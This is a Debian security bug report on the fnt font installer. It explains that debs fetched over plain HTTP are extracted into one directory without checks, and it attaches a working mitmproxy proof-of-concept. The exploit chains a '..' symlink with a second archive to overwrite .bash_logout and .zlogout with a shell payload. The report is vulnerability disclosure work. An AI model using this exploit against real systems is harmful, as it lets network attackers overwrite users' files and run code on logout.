Package: fnt
Version: 1.4.1-2
Severity: serious
Tags: security
https://www.gnu.org/software/tar/manual/html_node/Integrity.html says:
"When extracting from two or more untrusted archives, each one should be
extracted independently, into different empty directories. Otherwise,
the first archive could create a symbolic link into an area outside the
working directory, and the second one could follow the link and
overwrite data that is not under the working directory."
But fnt extracts every data.tar file into the same directory and does
not correctly remove files (potentially: malicious symlinks) after
extraction. Since fnt downloads debs over HTTP and does not verify their
integrity in any way, man-in-the-middle attackers could exploit this
vulnerability to overwrite arbitrary files.
I've attached a proof-of-concept exploit in the form of a mitmproxy
script.
--
Jakub Wilk
# encoding=UTF-8
# Copyright © 2023 Jakub Wilk <jw...@jwilk.net>
# SPDX-License-Identifier: MIT
# Usage:
# mitmdump --listen-host 127.0.0.1 -s /path/to/fnt_mitm.py
# and then:
# export http_proxy=http://127.0.0.1:8080/
# fnt update
# fnt install symbola
# fnt install unifont
# logout
import contextlib
import io
import os
import subprocess
import tarfile
import tempfile
try:
from mitmproxy.http import Response as HTTPResponse # mitmproxy >= 7.0
except ImportError:
from mitmproxy.http import HTTPResponse # mitmproxy >= 1.0
payload = b'''\
cowsay pwned
sleep inf
'''
debs = []
def mkar(members):
with tempfile.TemporaryDirectory() as tmpdir:
ar_path = f'{tmpdir}/out.ar'
subprocess.run(['ar', 'rcS', ar_path, *members], check=True)
with open(ar_path, 'rb') as file:
return file.read()
@contextlib.contextmanager
def tmpcwd():
old_cwd = os.getcwd()
try:
with tempfile.TemporaryDirectory() as tmpdir:
os.chdir(tmpdir)
yield
finally:
os.chdir(old_cwd)
with tmpcwd():
members = ['debian-binary', 'control.tar.xz', 'data.tar.xz']
for member in members:
with open(member, 'wb'):
pass
with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
tinfo = tarfile.TarInfo('par')
tinfo.type = tarfile.SYMTYPE
tinfo.linkname = '..'
tfile.addfile(tinfo)
debs += [mkar(members)]
with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
for target in '.bash_logout', '.zlogout':
tinfo = tarfile.TarInfo(f'par/{target}')
tinfo.size = len(payload)
tfile.addfile(tinfo, io.BytesIO(payload))
debs += [mkar(members)]
class state:
n = 0
def request(flow):
if flow.request.path.endswith('.deb'):
flow.response = HTTPResponse.make(
200,
debs[state.n],
{'Content-Type': 'application/vnd.debian.binary-package'}
)
state.n ^= 1
# vim:ts=4 sts=4 sw=4 et